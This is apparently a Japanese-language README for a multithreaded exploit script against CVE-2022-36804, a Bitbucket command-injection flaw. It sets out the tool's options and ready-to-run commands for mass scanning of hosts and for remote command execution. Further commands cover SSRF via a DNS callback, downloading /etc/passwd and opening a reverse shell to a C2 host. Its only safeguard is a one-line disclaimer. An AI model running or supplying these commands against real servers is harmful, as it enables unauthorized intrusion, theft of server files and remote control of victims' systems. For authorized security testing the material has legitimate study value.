
BitBucketバージョン<8.3.1に影響を与えるCVE-2022-36804用のマルチスレッドエクスプロイトスクリプト
マルチスレッドのエクスプロイトスクリプト。CVE-2022-36804に影響を受ける(ほとんどの)BitBucketバージョン<8.3.1向け
詳細なアドバイザリはこちらを参照 https://jira.atlassian.com/browse/BSERV-13438
発見の功績はすべてTheGrandPewに帰属します
このスクリプトは、BitBucketインスタンス上の公開リポジトリを自動検出し、ランダムなリポジトリを選択して脆弱性を確認または実行します。公開リポジトリが存在しない場合は、既知の脆弱性のあるインスタンスを悪用するために有効な'BITBUCKETSESSIONID'クッキーが必要です。
このPoCは複数の入力ホストを受け取り、脆弱なホストをstdoutにパイプして、結果を他のツールで処理できるように設計されています。
悪意のある目的で使用しないでください。
usage: CVE-2022-36804.py [-h] [--auth-cookie AUTH_COOKIE] [--proxy PROXY] [-e {check,rce,ssrf,download,rev_shell}] [--cmd CMD] [--knary KNARY] [--server-file SERVER_FILE] [--host HOST] [--port PORT]
[--skip-check] [-t THREADS] [-v]
repos [repos ...]
CVE-2022-36804 Exploit Script for BitBucket versions < 8.3.1
optional arguments:
-h, --help show this help message and exit
required arguments:
repos Repository host/s (http://bitbucket.example.com:7990) (or single input file "./targets.txt" of target hosts) to perfrom CVE-2022-36804 on
optional arguments:
--auth-cookie AUTH_COOKIE
Authentication cookie 'BITBUCKETSESSIONID' value for private repositories
--proxy PROXY HTTP Proxy: <http/https>://<ip>:<port>
-e {check,rce,ssrf,download,rev_shell}, --exploit {check,rce,ssrf,download,rev_shell}
Exploit to perform
--cmd CMD Command to execute for the 'rce' exploit (curl http://example.com)
--knary KNARY Knary to respond too via DNS for the 'ssrf' exploit
--server-file SERVER_FILE
Server file to download for the 'download' exploit (/etc/passwd)
--host HOST Hostname or IP address of c2 for the 'rev_shell' exploit
--port PORT Port of the c2 for the 'rev_shell' exploit
--skip-check Skip vulnerability checking stage
-t THREADS, --threads THREADS
Worker Threads
-v, --verbose Increase output verbosity level
単一ホスト
CVE-2022-36804.py http://bitbucket.local:7990/複数ホスト、脆弱なホストとエクスプロイトされたリポジトリをファイルにパイプ
CVE-2022-36804.py ./bitbucket-hosts.txt > vulnerable-hosts
CVE-2022-36804.py -e rce --cmd "curl http://example.com/" http://bitbucket.local:7990/
指定されたknaryにDNSリクエストを実行
CVE-2022-36804.py -e ssrf --knary http://knary.example.com http://bitbucket.local:7990/
ターゲットファイル
/etc/passwdを含むリポジトリをダウンロード、圧縮されたリポジトリをランダムなファイル名で保存します。
CVE-2022-36804.py -e download --server-file /etc/passwd http://bitbucket.local:7990/
CVE-2022-36804.py -e rev_shell --host 127.0.0.1 --port 31337 http://bitbucket.local:7990/